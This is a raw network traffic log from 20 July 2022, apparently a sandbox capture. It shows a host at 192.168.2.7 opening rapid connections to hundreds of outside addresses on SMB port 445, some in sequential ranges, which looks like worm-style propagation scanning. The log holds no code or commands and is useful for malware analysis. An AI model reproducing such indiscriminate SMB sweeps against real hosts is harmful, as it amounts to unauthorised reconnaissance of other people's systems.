Jul 20, 2022 19:32:03.932986021 CEST	52509	445	192.168.2.7	51.158.189.21
Jul 20, 2022 19:32:04.323848009 CEST	52512	445	192.168.2.7	213.142.151.57
Jul 20, 2022 19:32:04.324580908 CEST	52513	445	192.168.2.7	131.153.221.12
Jul 20, 2022 19:32:04.430969954 CEST	52514	445	192.168.2.7	161.209.191.12
Jul 20, 2022 19:32:04.609751940 CEST	52516	445	192.168.2.7	118.207.17.80
Jul 20, 2022 19:32:04.611748934 CEST	52518	445	192.168.2.7	153.28.76.160
Jul 20, 2022 19:32:04.612560034 CEST	52519	445	192.168.2.7	162.33.199.254
Jul 20, 2022 19:32:04.612742901 CEST	52520	445	192.168.2.7	55.181.16.133
Jul 20, 2022 19:32:04.612873077 CEST	52521	445	192.168.2.7	111.80.2.187
Jul 20, 2022 19:32:04.613260031 CEST	52525	445	192.168.2.7	28.220.216.178
Jul 20, 2022 19:32:04.613656998 CEST	52530	445	192.168.2.7	198.112.16.37
Jul 20, 2022 19:32:04.614268064 CEST	52539	445	192.168.2.7	124.171.54.149
Jul 20, 2022 19:32:04.614417076 CEST	52541	445	192.168.2.7	91.6.231.95
Jul 20, 2022 19:32:04.614629984 CEST	52543	445	192.168.2.7	32.62.223.93
Jul 20, 2022 19:32:04.614767075 CEST	52544	445	192.168.2.7	123.142.67.218
Jul 20, 2022 19:32:04.614869118 CEST	52545	445	192.168.2.7	50.153.54.49
Jul 20, 2022 19:32:04.615011930 CEST	52546	445	192.168.2.7	193.104.248.141
Jul 20, 2022 19:32:04.615165949 CEST	52547	445	192.168.2.7	24.0.10.55
Jul 20, 2022 19:32:04.615320921 CEST	52549	445	192.168.2.7	131.169.23.197
Jul 20, 2022 19:32:04.615443945 CEST	52550	445	192.168.2.7	60.18.169.188
Jul 20, 2022 19:32:04.615602970 CEST	52551	445	192.168.2.7	17.170.254.148
Jul 20, 2022 19:32:04.615782976 CEST	52552	445	192.168.2.7	174.39.163.12
Jul 20, 2022 19:32:04.615969896 CEST	52553	445	192.168.2.7	25.121.176.48
Jul 20, 2022 19:32:04.616132021 CEST	52554	445	192.168.2.7	117.203.219.114
Jul 20, 2022 19:32:04.616286993 CEST	52555	445	192.168.2.7	178.121.125.160
Jul 20, 2022 19:32:04.616436005 CEST	52556	445	192.168.2.7	144.188.45.53
Jul 20, 2022 19:32:04.616575956 CEST	52557	445	192.168.2.7	198.66.50.156
Jul 20, 2022 19:32:04.616780996 CEST	52559	445	192.168.2.7	169.145.7.10
Jul 20, 2022 19:32:04.616926908 CEST	52560	445	192.168.2.7	72.200.40.68
Jul 20, 2022 19:32:04.617162943 CEST	52561	445	192.168.2.7	31.108.196.29
Jul 20, 2022 19:32:04.617249966 CEST	52562	445	192.168.2.7	132.244.225.47
Jul 20, 2022 19:32:04.617500067 CEST	52563	445	192.168.2.7	43.171.39.0
Jul 20, 2022 19:32:04.869147062 CEST	445	52379	203.64.176.62	192.168.2.7
Jul 20, 2022 19:32:04.993489027 CEST	52564	445	192.168.2.7	51.158.189.22
Jul 20, 2022 19:32:05.384370089 CEST	52566	445	192.168.2.7	213.142.151.58
Jul 20, 2022 19:32:05.385092020 CEST	52567	445	192.168.2.7	131.153.221.13
Jul 20, 2022 19:32:05.556358099 CEST	52569	445	192.168.2.7	78.53.224.217
Jul 20, 2022 19:32:05.789328098 CEST	52571	445	192.168.2.7	49.23.111.1
Jul 20, 2022 19:32:05.789444923 CEST	52572	445	192.168.2.7	106.214.226.46
Jul 20, 2022 19:32:05.789675951 CEST	52573	445	192.168.2.7	100.115.185.151
Jul 20, 2022 19:32:05.789782047 CEST	52574	445	192.168.2.7	136.104.141.52
Jul 20, 2022 19:32:05.790013075 CEST	52575	445	192.168.2.7	203.224.177.107
Jul 20, 2022 19:32:05.790215969 CEST	52577	445	192.168.2.7	129.6.134.252
Jul 20, 2022 19:32:05.790326118 CEST	52578	445	192.168.2.7	97.84.183.49
Jul 20, 2022 19:32:05.790412903 CEST	52579	445	192.168.2.7	92.238.163.252
Jul 20, 2022 19:32:05.790533066 CEST	52580	445	192.168.2.7	31.74.103.104
Jul 20, 2022 19:32:05.790616035 CEST	52581	445	192.168.2.7	1.0.224.75
Jul 20, 2022 19:32:05.790710926 CEST	52582	445	192.168.2.7	48.195.91.10
Jul 20, 2022 19:32:05.790803909 CEST	52583	445	192.168.2.7	152.65.128.133
Jul 20, 2022 19:32:05.790900946 CEST	52584	445	192.168.2.7	67.252.116.66
Jul 20, 2022 19:32:05.791012049 CEST	52585	445	192.168.2.7	105.70.244.24
Jul 20, 2022 19:32:05.791174889 CEST	52587	445	192.168.2.7	116.186.76.179
Jul 20, 2022 19:32:05.791379929 CEST	52588	445	192.168.2.7	61.124.57.251
Jul 20, 2022 19:32:05.791388988 CEST	52589	445	192.168.2.7	140.40.145.60
Jul 20, 2022 19:32:05.791585922 CEST	52591	445	192.168.2.7	42.252.204.181
Jul 20, 2022 19:32:05.791723967 CEST	52593	445	192.168.2.7	45.22.152.4
Jul 20, 2022 19:32:05.791867971 CEST	52590	445	192.168.2.7	209.191.32.85
Jul 20, 2022 19:32:05.791874886 CEST	52595	445	192.168.2.7	29.186.177.89
Jul 20, 2022 19:32:05.792305946 CEST	52604	445	192.168.2.7	179.42.94.168
Jul 20, 2022 19:32:05.792598009 CEST	52609	445	192.168.2.7	78.155.201.112
Jul 20, 2022 19:32:05.792841911 CEST	52613	445	192.168.2.7	179.141.252.243
Jul 20, 2022 19:32:05.792963982 CEST	52614	445	192.168.2.7	171.213.189.96
Jul 20, 2022 19:32:05.793075085 CEST	52615	445	192.168.2.7	23.131.7.165
Jul 20, 2022 19:32:05.793335915 CEST	52616	445	192.168.2.7	39.164.67.54
Jul 20, 2022 19:32:05.793518066 CEST	52618	445	192.168.2.7	74.182.189.28
Jul 20, 2022 19:32:06.072319031 CEST	52619	445	192.168.2.7	51.158.189.23
Jul 20, 2022 19:32:06.094760895 CEST	445	52619	51.158.189.23	192.168.2.7
Jul 20, 2022 19:32:06.447359085 CEST	52622	445	192.168.2.7	213.142.151.59
Jul 20, 2022 19:32:06.448399067 CEST	52623	445	192.168.2.7	131.153.221.14
Jul 20, 2022 19:32:06.499965906 CEST	445	52622	213.142.151.59	192.168.2.7
Jul 20, 2022 19:32:06.617854118 CEST	52619	445	192.168.2.7	51.158.189.23
Jul 20, 2022 19:32:06.640398026 CEST	445	52619	51.158.189.23	192.168.2.7
Jul 20, 2022 19:32:06.681292057 CEST	52625	445	192.168.2.7	118.171.114.253
Jul 20, 2022 19:32:06.915935993 CEST	52627	445	192.168.2.7	38.94.65.194
Jul 20, 2022 19:32:06.937088013 CEST	52628	445	192.168.2.7	220.10.144.7
Jul 20, 2022 19:32:06.940006018 CEST	52629	445	192.168.2.7	89.54.24.220
Jul 20, 2022 19:32:06.940114021 CEST	52630	445	192.168.2.7	148.81.15.14
Jul 20, 2022 19:32:06.940244913 CEST	52631	445	192.168.2.7	191.198.56.10
Jul 20, 2022 19:32:06.940386057 CEST	52632	445	192.168.2.7	22.125.128.154
Jul 20, 2022 19:32:06.940593958 CEST	52634	445	192.168.2.7	176.220.219.182
Jul 20, 2022 19:32:06.940702915 CEST	52635	445	192.168.2.7	49.6.168.232
Jul 20, 2022 19:32:06.940810919 CEST	52636	445	192.168.2.7	29.157.226.248
Jul 20, 2022 19:32:06.940932989 CEST	52637	445	192.168.2.7	89.119.29.198
Jul 20, 2022 19:32:06.941065073 CEST	52638	445	192.168.2.7	100.94.6.5
Jul 20, 2022 19:32:06.941214085 CEST	52639	445	192.168.2.7	16.35.120.25
Jul 20, 2022 19:32:06.941324949 CEST	52640	445	192.168.2.7	162.3.209.83
Jul 20, 2022 19:32:06.941664934 CEST	52646	445	192.168.2.7	45.236.94.32
Jul 20, 2022 19:32:06.941809893 CEST	52647	445	192.168.2.7	158.225.144.90
Jul 20, 2022 19:32:06.941972017 CEST	52649	445	192.168.2.7	42.6.55.57
Jul 20, 2022 19:32:06.942171097 CEST	52652	445	192.168.2.7	55.88.137.196
Jul 20, 2022 19:32:06.942280054 CEST	52653	445	192.168.2.7	40.104.131.74
Jul 20, 2022 19:32:06.942439079 CEST	52655	445	192.168.2.7	123.141.17.176
Jul 20, 2022 19:32:06.942572117 CEST	52656	445	192.168.2.7	73.146.189.236
Jul 20, 2022 19:32:06.942653894 CEST	52657	445	192.168.2.7	176.228.96.114
Jul 20, 2022 19:32:06.942787886 CEST	52659	445	192.168.2.7	218.205.61.9
Jul 20, 2022 19:32:06.942894936 CEST	52660	445	192.168.2.7	166.208.72.246
Jul 20, 2022 19:32:06.942997932 CEST	52661	445	192.168.2.7	84.184.11.60
Jul 20, 2022 19:32:06.943173885 CEST	52664	445	192.168.2.7	168.115.13.45
Jul 20, 2022 19:32:06.943305969 CEST	52666	445	192.168.2.7	116.250.56.127
Jul 20, 2022 19:32:06.943545103 CEST	52671	445	192.168.2.7	47.214.4.163
Jul 20, 2022 19:32:07.071104050 CEST	52622	445	192.168.2.7	213.142.151.59
Jul 20, 2022 19:32:07.123734951 CEST	445	52622	213.142.151.59	192.168.2.7
Jul 20, 2022 19:32:07.149909973 CEST	52675	445	192.168.2.7	51.158.189.24
Jul 20, 2022 19:32:07.525499105 CEST	52678	445	192.168.2.7	131.153.221.15
Jul 20, 2022 19:32:07.526288033 CEST	52679	445	192.168.2.7	213.142.151.60
Jul 20, 2022 19:32:07.806448936 CEST	52681	445	192.168.2.7	116.50.226.218
Jul 20, 2022 19:32:08.042670012 CEST	52683	445	192.168.2.7	146.246.49.209
Jul 20, 2022 19:32:08.160505056 CEST	52684	445	192.168.2.7	77.23.22.55
Jul 20, 2022 19:32:08.161361933 CEST	52685	445	192.168.2.7	52.249.160.229
Jul 20, 2022 19:32:08.162153006 CEST	52686	445	192.168.2.7	140.202.84.100
Jul 20, 2022 19:32:08.162918091 CEST	52687	445	192.168.2.7	56.157.225.15
Jul 20, 2022 19:32:08.163677931 CEST	52688	445	192.168.2.7	101.128.30.233
Jul 20, 2022 19:32:08.167001009 CEST	52690	445	192.168.2.7	215.195.182.221
Jul 20, 2022 19:32:08.167771101 CEST	52691	445	192.168.2.7	205.68.191.221
Jul 20, 2022 19:32:08.168528080 CEST	52692	445	192.168.2.7	4.2.6.84
Jul 20, 2022 19:32:08.198015928 CEST	52694	445	192.168.2.7	16.240.165.159
Jul 20, 2022 19:32:08.228387117 CEST	52695	445	192.168.2.7	51.158.189.25
Jul 20, 2022 19:32:08.288789034 CEST	52697	445	192.168.2.7	119.91.188.29
Jul 20, 2022 19:32:08.289484024 CEST	52699	445	192.168.2.7	174.25.59.236
Jul 20, 2022 19:32:08.289741993 CEST	52704	445	192.168.2.7	117.148.182.16
Jul 20, 2022 19:32:08.291146040 CEST	52709	445	192.168.2.7	113.90.118.124
Jul 20, 2022 19:32:08.291158915 CEST	52710	445	192.168.2.7	63.31.214.43
Jul 20, 2022 19:32:08.291354895 CEST	52712	445	192.168.2.7	223.234.55.53
Jul 20, 2022 19:32:08.291460991 CEST	52714	445	192.168.2.7	73.85.145.242
Jul 20, 2022 19:32:08.291496992 CEST	52715	445	192.168.2.7	43.220.206.186
Jul 20, 2022 19:32:08.291601896 CEST	52716	445	192.168.2.7	12.247.83.142
Jul 20, 2022 19:32:08.291877985 CEST	52718	445	192.168.2.7	73.183.108.23
Jul 20, 2022 19:32:08.291939020 CEST	52719	445	192.168.2.7	10.95.39.250
Jul 20, 2022 19:32:08.292054892 CEST	52722	445	192.168.2.7	14.248.143.117
Jul 20, 2022 19:32:08.292093039 CEST	52721	445	192.168.2.7	59.248.247.4
Jul 20, 2022 19:32:08.292198896 CEST	52723	445	192.168.2.7	10.176.36.202
Jul 20, 2022 19:32:08.292260885 CEST	52724	445	192.168.2.7	177.217.140.166
Jul 20, 2022 19:32:08.294126987 CEST	52729	445	192.168.2.7	128.64.254.6
Jul 20, 2022 19:32:08.294205904 CEST	52728	445	192.168.2.7	193.170.42.178
Jul 20, 2022 19:32:08.294276953 CEST	52730	445	192.168.2.7	61.209.20.86
Jul 20, 2022 19:32:08.604356050 CEST	52735	445	192.168.2.7	213.142.151.61
Jul 20, 2022 19:32:08.604753017 CEST	52736	445	192.168.2.7	131.153.221.16
Jul 20, 2022 19:32:08.933140039 CEST	52738	445	192.168.2.7	63.160.38.187
Jul 20, 2022 19:32:09.166728973 CEST	52740	445	192.168.2.7	52.226.159.180
Jul 20, 2022 19:32:09.276891947 CEST	52741	445	192.168.2.7	106.236.22.35
Jul 20, 2022 19:32:09.277056932 CEST	52743	445	192.168.2.7	95.254.226.211
Jul 20, 2022 19:32:09.277081966 CEST	52744	445	192.168.2.7	145.229.166.79
Jul 20, 2022 19:32:09.277188063 CEST	52745	445	192.168.2.7	176.122.84.19
Jul 20, 2022 19:32:09.277261972 CEST	52746	445	192.168.2.7	107.29.191.212
Jul 20, 2022 19:32:09.290734053 CEST	52747	445	192.168.2.7	205.197.207.216
Jul 20, 2022 19:32:09.291302919 CEST	52748	445	192.168.2.7	157.63.46.213
Jul 20, 2022 19:32:09.291827917 CEST	52749	445	192.168.2.7	107.64.55.156
Jul 20, 2022 19:32:09.309360027 CEST	52751	445	192.168.2.7	51.158.189.26
Jul 20, 2022 19:32:09.321907997 CEST	52752	445	192.168.2.7	97.231.47.157
Jul 20, 2022 19:32:09.333256960 CEST	445	52751	51.158.189.26	192.168.2.7
Jul 20, 2022 19:32:09.415679932 CEST	52753	445	192.168.2.7	131.1.13.216
Jul 20, 2022 19:32:09.417191029 CEST	52754	445	192.168.2.7	153.40.125.40
Jul 20, 2022 19:32:09.417819977 CEST	52755	445	192.168.2.7	19.89.208.125
Jul 20, 2022 19:32:09.419769049 CEST	52759	445	192.168.2.7	75.149.57.235
Jul 20, 2022 19:32:09.420310020 CEST	52760	445	192.168.2.7	184.36.72.31
Jul 20, 2022 19:32:09.420866013 CEST	52761	445	192.168.2.7	99.17.190.86
Jul 20, 2022 19:32:09.422966957 CEST	52765	445	192.168.2.7	80.62.133.254
Jul 20, 2022 19:32:09.423980951 CEST	52767	445	192.168.2.7	201.112.6.181
Jul 20, 2022 19:32:09.425451040 CEST	52770	445	192.168.2.7	126.23.179.221
Jul 20, 2022 19:32:09.456924915 CEST	52776	445	192.168.2.7	178.153.183.4
Jul 20, 2022 19:32:09.457034111 CEST	52779	445	192.168.2.7	218.154.104.13
Jul 20, 2022 19:32:09.457113028 CEST	52781	445	192.168.2.7	43.37.22.89
Jul 20, 2022 19:32:09.457144022 CEST	52782	445	192.168.2.7	37.43.221.91
Jul 20, 2022 19:32:09.457232952 CEST	52784	445	192.168.2.7	174.243.194.222
Jul 20, 2022 19:32:09.457295895 CEST	52785	445	192.168.2.7	23.210.32.117
Jul 20, 2022 19:32:09.457385063 CEST	52787	445	192.168.2.7	49.219.30.90
Jul 20, 2022 19:32:09.457540989 CEST	52788	445	192.168.2.7	200.222.244.222
Jul 20, 2022 19:32:09.457566977 CEST	52789	445	192.168.2.7	211.34.93.38
Jul 20, 2022 19:32:09.681710958 CEST	52791	445	192.168.2.7	131.153.221.17
Jul 20, 2022 19:32:09.681793928 CEST	52792	445	192.168.2.7	213.142.151.62
Jul 20, 2022 19:32:09.731739998 CEST	445	52770	126.23.179.221	192.168.2.7
Jul 20, 2022 19:32:09.734368086 CEST	445	52792	213.142.151.62	192.168.2.7
Jul 20, 2022 19:32:09.734528065 CEST	52792	445	192.168.2.7	213.142.151.62
Jul 20, 2022 19:32:09.734666109 CEST	52792	445	192.168.2.7	213.142.151.62
Jul 20, 2022 19:32:09.737155914 CEST	52794	445	192.168.2.7	213.142.151.62
Jul 20, 2022 19:32:09.787024975 CEST	445	52792	213.142.151.62	192.168.2.7
Jul 20, 2022 19:32:09.787048101 CEST	445	52792	213.142.151.62	192.168.2.7
Jul 20, 2022 19:32:09.792900085 CEST	445	52794	213.142.151.62	192.168.2.7
Jul 20, 2022 19:32:09.793787956 CEST	52794	445	192.168.2.7	213.142.151.62
Jul 20, 2022 19:32:09.793981075 CEST	52794	445	192.168.2.7	213.142.151.62
Jul 20, 2022 19:32:09.850672960 CEST	445	52794	213.142.151.62	192.168.2.7
Jul 20, 2022 19:32:09.850693941 CEST	445	52794	213.142.151.62	192.168.2.7
Jul 20, 2022 19:32:09.850908995 CEST	52794	445	192.168.2.7	213.142.151.62
Jul 20, 2022 19:32:09.908456087 CEST	445	52794	213.142.151.62	192.168.2.7
Jul 20, 2022 19:32:09.909482002 CEST	52794	445	192.168.2.7	213.142.151.62
Jul 20, 2022 19:32:09.966484070 CEST	445	52794	213.142.151.62	192.168.2.7
Jul 20, 2022 19:32:10.008752108 CEST	52751	445	192.168.2.7	51.158.189.26
Jul 20, 2022 19:32:10.033521891 CEST	445	52751	51.158.189.26	192.168.2.7
Jul 20, 2022 19:32:10.056324959 CEST	52796	445	192.168.2.7	46.123.180.129
Jul 20, 2022 19:32:10.322506905 CEST	52770	445	192.168.2.7	126.23.179.221
Jul 20, 2022 19:32:10.360626936 CEST	52799	445	192.168.2.7	142.218.85.155
Jul 20, 2022 19:32:10.385546923 CEST	52800	445	192.168.2.7	51.158.189.27
Jul 20, 2022 19:32:10.412075043 CEST	52801	445	192.168.2.7	156.127.125.165
Jul 20, 2022 19:32:10.413978100 CEST	52802	445	192.168.2.7	55.129.67.19
Jul 20, 2022 19:32:10.417011976 CEST	52803	445	192.168.2.7	114.227.134.235
Jul 20, 2022 19:32:10.418437958 CEST	52805	445	192.168.2.7	211.206.148.190
Jul 20, 2022 19:32:10.418546915 CEST	52804	445	192.168.2.7	134.135.125.112
Jul 20, 2022 19:32:10.434098959 CEST	52808	445	192.168.2.7	16.62.216.49
Jul 20, 2022 19:32:10.434875011 CEST	52809	445	192.168.2.7	157.164.7.55
Jul 20, 2022 19:32:10.435585022 CEST	52810	445	192.168.2.7	104.104.82.98
Jul 20, 2022 19:32:10.465806007 CEST	52811	445	192.168.2.7	97.205.114.209
Jul 20, 2022 19:32:10.541421890 CEST	52812	445	192.168.2.7	81.4.118.158
Jul 20, 2022 19:32:10.543401003 CEST	52815	445	192.168.2.7	216.209.118.236
Jul 20, 2022 19:32:10.544456005 CEST	52817	445	192.168.2.7	128.94.129.25
Jul 20, 2022 19:32:10.546508074 CEST	52821	445	192.168.2.7	120.96.156.72
Jul 20, 2022 19:32:10.547025919 CEST	52822	445	192.168.2.7	201.188.43.115
Jul 20, 2022 19:32:10.547512054 CEST	52823	445	192.168.2.7	59.16.141.204
Jul 20, 2022 19:32:10.549437046 CEST	52827	445	192.168.2.7	55.218.130.239
Jul 20, 2022 19:32:10.549953938 CEST	52828	445	192.168.2.7	15.74.71.142
Jul 20, 2022 19:32:10.550479889 CEST	52829	445	192.168.2.7	173.168.41.206
Jul 20, 2022 19:32:10.573725939 CEST	52833	445	192.168.2.7	129.116.102.74
Jul 20, 2022 19:32:10.574248075 CEST	52834	445	192.168.2.7	16.159.55.195
Jul 20, 2022 19:32:10.574776888 CEST	52835	445	192.168.2.7	222.55.149.13
Jul 20, 2022 19:32:10.575319052 CEST	52836	445	192.168.2.7	17.31.193.108
Jul 20, 2022 19:32:10.575894117 CEST	52837	445	192.168.2.7	10.201.212.34
Jul 20, 2022 19:32:10.578315973 CEST	52839	445	192.168.2.7	66.119.244.1
Jul 20, 2022 19:32:10.580763102 CEST	52842	445	192.168.2.7	9.108.101.75
Jul 20, 2022 19:32:10.580931902 CEST	52841	445	192.168.2.7	143.24.207.225
Jul 20, 2022 19:32:10.581120968 CEST	52848	445	192.168.2.7	134.76.198.167
Jul 20, 2022 19:32:10.628669977 CEST	445	52770	126.23.179.221	192.168.2.7
Jul 20, 2022 19:32:10.759677887 CEST	52850	445	192.168.2.7	131.153.221.18
Jul 20, 2022 19:32:11.182032108 CEST	52853	445	192.168.2.7	205.253.40.177
Jul 20, 2022 19:32:11.463556051 CEST	52856	445	192.168.2.7	203.126.34.185
Jul 20, 2022 19:32:11.463612080 CEST	52857	445	192.168.2.7	51.158.189.28
Jul 20, 2022 19:32:11.535260916 CEST	52858	445	192.168.2.7	10.180.204.137
Jul 20, 2022 19:32:11.535346031 CEST	52859	445	192.168.2.7	100.135.249.245
Jul 20, 2022 19:32:11.562150955 CEST	52863	445	192.168.2.7	13.142.146.150
Jul 20, 2022 19:32:11.562226057 CEST	52866	445	192.168.2.7	124.36.225.4
Jul 20, 2022 19:32:11.562326908 CEST	52867	445	192.168.2.7	214.153.48.24
Jul 20, 2022 19:32:11.562516928 CEST	52865	445	192.168.2.7	89.101.102.227
Jul 20, 2022 19:32:11.604721069 CEST	52868	445	192.168.2.7	189.202.145.89
Jul 20, 2022 19:32:11.666733980 CEST	52870	445	192.168.2.7	143.102.17.46
Jul 20, 2022 19:32:11.667689085 CEST	52872	445	192.168.2.7	191.33.218.177
Jul 20, 2022 19:32:11.668709040 CEST	52874	445	192.168.2.7	211.245.162.209
Jul 20, 2022 19:32:11.674969912 CEST	52879	445	192.168.2.7	27.12.132.134
Jul 20, 2022 19:32:11.675009966 CEST	52878	445	192.168.2.7	91.129.227.111
Jul 20, 2022 19:32:11.675086021 CEST	52880	445	192.168.2.7	147.36.76.163
Jul 20, 2022 19:32:11.675304890 CEST	52885	445	192.168.2.7	46.105.207.203
Jul 20, 2022 19:32:11.675317049 CEST	52884	445	192.168.2.7	29.188.43.157
Jul 20, 2022 19:32:11.675394058 CEST	52886	445	192.168.2.7	206.207.245.125
Jul 20, 2022 19:32:11.699431896 CEST	52890	445	192.168.2.7	45.52.150.84
Jul 20, 2022 19:32:11.700160980 CEST	52891	445	192.168.2.7	135.177.124.125
Jul 20, 2022 19:32:11.701528072 CEST	52893	445	192.168.2.7	59.250.227.145
Jul 20, 2022 19:32:11.702852964 CEST	52895	445	192.168.2.7	38.196.197.98
Jul 20, 2022 19:32:11.703576088 CEST	52896	445	192.168.2.7	204.50.154.128
Jul 20, 2022 19:32:11.716974974 CEST	52899	445	192.168.2.7	95.113.106.124
Jul 20, 2022 19:32:11.718960047 CEST	52903	445	192.168.2.7	168.63.106.193
Jul 20, 2022 19:32:11.719472885 CEST	52904	445	192.168.2.7	175.165.80.243
Jul 20, 2022 19:32:11.719980955 CEST	52905	445	192.168.2.7	147.132.171.178
Jul 20, 2022 19:32:11.838720083 CEST	52907	445	192.168.2.7	131.153.221.19
Jul 20, 2022 19:32:12.315191984 CEST	52911	445	192.168.2.7	174.95.251.235
Jul 20, 2022 19:32:12.546883106 CEST	52914	445	192.168.2.7	51.158.189.29
Jul 20, 2022 19:32:12.613668919 CEST	52915	445	192.168.2.7	151.46.140.11
Jul 20, 2022 19:32:12.650589943 CEST	52916	445	192.168.2.7	172.88.117.188
Jul 20, 2022 19:32:12.650655985 CEST	52917	445	192.168.2.7	79.128.15.169
Jul 20, 2022 19:32:12.683796883 CEST	52918	445	192.168.2.7	207.92.25.25
Jul 20, 2022 19:32:12.684755087 CEST	52919	445	192.168.2.7	154.29.143.25
Jul 20, 2022 19:32:12.687220097 CEST	52922	445	192.168.2.7	102.110.86.4
Jul 20, 2022 19:32:12.687794924 CEST	52923	445	192.168.2.7	213.175.181.19
Jul 20, 2022 19:32:12.688383102 CEST	52924	445	192.168.2.7	10.175.181.213
Jul 20, 2022 19:32:12.688926935 CEST	52925	445	192.168.2.7	121.8.76.40
Jul 20, 2022 19:32:12.727133989 CEST	445	52919	154.29.143.25	192.168.2.7
Jul 20, 2022 19:32:12.735177994 CEST	52926	445	192.168.2.7	123.201.35.197
Jul 20, 2022 19:32:12.797036886 CEST	52928	445	192.168.2.7	173.41.59.57
Jul 20, 2022 19:32:12.797907114 CEST	52929	445	192.168.2.7	119.57.236.76
Jul 20, 2022 19:32:12.798036098 CEST	52932	445	192.168.2.7	53.26.61.250
Jul 20, 2022 19:32:12.798186064 CEST	52936	445	192.168.2.7	82.79.237.118
Jul 20, 2022 19:32:12.798243046 CEST	52937	445	192.168.2.7	179.79.214.114
Jul 20, 2022 19:32:12.798296928 CEST	52938	445	192.168.2.7	109.249.121.87
Jul 20, 2022 19:32:12.798443079 CEST	52942	445	192.168.2.7	109.69.127.79
Jul 20, 2022 19:32:12.798463106 CEST	52943	445	192.168.2.7	44.112.179.152
Jul 20, 2022 19:32:12.798541069 CEST	52944	445	192.168.2.7	192.108.113.41
Jul 20, 2022 19:32:12.825248957 CEST	52948	445	192.168.2.7	76.179.45.139
Jul 20, 2022 19:32:12.825794935 CEST	52949	445	192.168.2.7	58.54.83.222
Jul 20, 2022 19:32:12.826833010 CEST	52951	445	192.168.2.7	167.221.233.73
Jul 20, 2022 19:32:12.827841997 CEST	52953	445	192.168.2.7	215.157.19.241
Jul 20, 2022 19:32:12.828362942 CEST	52954	445	192.168.2.7	125.140.100.139
Jul 20, 2022 19:32:12.837878942 CEST	52957	445	192.168.2.7	2.213.221.8
Jul 20, 2022 19:32:12.840082884 CEST	52961	445	192.168.2.7	207.244.245.70
Jul 20, 2022 19:32:12.840745926 CEST	52962	445	192.168.2.7	5.62.3.194
Jul 20, 2022 19:32:12.841252089 CEST	52963	445	192.168.2.7	178.36.187.33
Jul 20, 2022 19:32:12.916218996 CEST	52965	445	192.168.2.7	131.153.221.20
Jul 20, 2022 19:32:12.978449106 CEST	52966	445	192.168.2.7	213.142.151.62
Jul 20, 2022 19:32:13.030769110 CEST	445	52966	213.142.151.62	192.168.2.7
Jul 20, 2022 19:32:13.030908108 CEST	52966	445	192.168.2.7	213.142.151.62
Jul 20, 2022 19:32:13.031053066 CEST	52966	445	192.168.2.7	213.142.151.62
Jul 20, 2022 19:32:13.082712889 CEST	445	52966	213.142.151.62	192.168.2.7
Jul 20, 2022 19:32:13.082740068 CEST	445	52966	213.142.151.62	192.168.2.7
Jul 20, 2022 19:32:13.082969904 CEST	52966	445	192.168.2.7	213.142.151.62
Jul 20, 2022 19:32:13.138196945 CEST	445	52966	213.142.151.62	192.168.2.7
Jul 20, 2022 19:32:13.138412952 CEST	52966	445	192.168.2.7	213.142.151.62
Jul 20, 2022 19:32:13.194848061 CEST	445	52966	213.142.151.62	192.168.2.7
Jul 20, 2022 19:32:13.284802914 CEST	52968	445	192.168.2.7	213.142.151.63
Jul 20, 2022 19:32:13.338787079 CEST	445	52968	213.142.151.63	192.168.2.7
Jul 20, 2022 19:32:13.338928938 CEST	52968	445	192.168.2.7	213.142.151.63
Jul 20, 2022 19:32:13.339122057 CEST	52968	445	192.168.2.7	213.142.151.63
Jul 20, 2022 19:32:13.342540979 CEST	52970	445	192.168.2.7	213.142.151.63
Jul 20, 2022 19:32:13.384130001 CEST	52919	445	192.168.2.7	154.29.143.25
Jul 20, 2022 19:32:13.394383907 CEST	445	52968	213.142.151.63	192.168.2.7
Jul 20, 2022 19:32:13.395004988 CEST	445	52968	213.142.151.63	192.168.2.7
Jul 20, 2022 19:32:13.398431063 CEST	445	52970	213.142.151.63	192.168.2.7
Jul 20, 2022 19:32:13.398648977 CEST	52970	445	192.168.2.7	213.142.151.63
Jul 20, 2022 19:32:13.398844004 CEST	52970	445	192.168.2.7	213.142.151.63
Jul 20, 2022 19:32:13.426796913 CEST	445	52919	154.29.143.25	192.168.2.7
Jul 20, 2022 19:32:13.453543901 CEST	445	52970	213.142.151.63	192.168.2.7
Jul 20, 2022 19:32:13.454699993 CEST	445	52970	213.142.151.63	192.168.2.7
Jul 20, 2022 19:32:13.454971075 CEST	52970	445	192.168.2.7	213.142.151.63
Jul 20, 2022 19:32:13.454978943 CEST	52972	445	192.168.2.7	94.189.250.11
Jul 20, 2022 19:32:13.507694960 CEST	445	52970	213.142.151.63	192.168.2.7
Jul 20, 2022 19:32:13.507930040 CEST	52970	445	192.168.2.7	213.142.151.63
Jul 20, 2022 19:32:13.561918020 CEST	445	52970	213.142.151.63	192.168.2.7
Jul 20, 2022 19:32:13.626633883 CEST	52973	445	192.168.2.7	51.158.189.30
Jul 20, 2022 19:32:13.729809999 CEST	52976	445	192.168.2.7	98.95.56.101
Jul 20, 2022 19:32:13.776506901 CEST	52977	445	192.168.2.7	129.46.194.183
Jul 20, 2022 19:32:13.777255058 CEST	52978	445	192.168.2.7	86.14.13.1
Jul 20, 2022 19:32:13.809405088 CEST	52979	445	192.168.2.7	129.137.231.149
Jul 20, 2022 19:32:13.809756994 CEST	52980	445	192.168.2.7	152.58.196.231
Jul 20, 2022 19:32:13.809931993 CEST	52983	445	192.168.2.7	113.150.191.12
Jul 20, 2022 19:32:13.810024977 CEST	52984	445	192.168.2.7	85.217.10.211
Jul 20, 2022 19:32:13.810094118 CEST	52985	445	192.168.2.7	160.184.232.6
Jul 20, 2022 19:32:13.810152054 CEST	52986	445	192.168.2.7	97.252.79.232
Jul 20, 2022 19:32:13.854069948 CEST	52987	445	192.168.2.7	117.86.219.244
Jul 20, 2022 19:32:13.909034967 CEST	52989	445	192.168.2.7	83.95.97.204
Jul 20, 2022 19:32:13.909091949 CEST	52990	445	192.168.2.7	33.96.232.115
Jul 20, 2022 19:32:13.909286022 CEST	52993	445	192.168.2.7	42.57.245.86
Jul 20, 2022 19:32:13.909389019 CEST	52996	445	192.168.2.7	151.13.77.134
Jul 20, 2022 19:32:13.909468889 CEST	52998	445	192.168.2.7	80.67.149.149
Jul 20, 2022 19:32:13.909548044 CEST	53000	445	192.168.2.7	179.248.107.81
Jul 20, 2022 19:32:13.909646034 CEST	53002	445	192.168.2.7	195.98.204.104
Jul 20, 2022 19:32:13.909809113 CEST	53004	445	192.168.2.7	131.71.9.250
Jul 20, 2022 19:32:13.910002947 CEST	53005	445	192.168.2.7	58.12.117.131
Jul 20, 2022 19:32:13.948322058 CEST	53008	445	192.168.2.7	196.165.175.72
Jul 20, 2022 19:32:13.948992968 CEST	53009	445	192.168.2.7	125.40.32.144
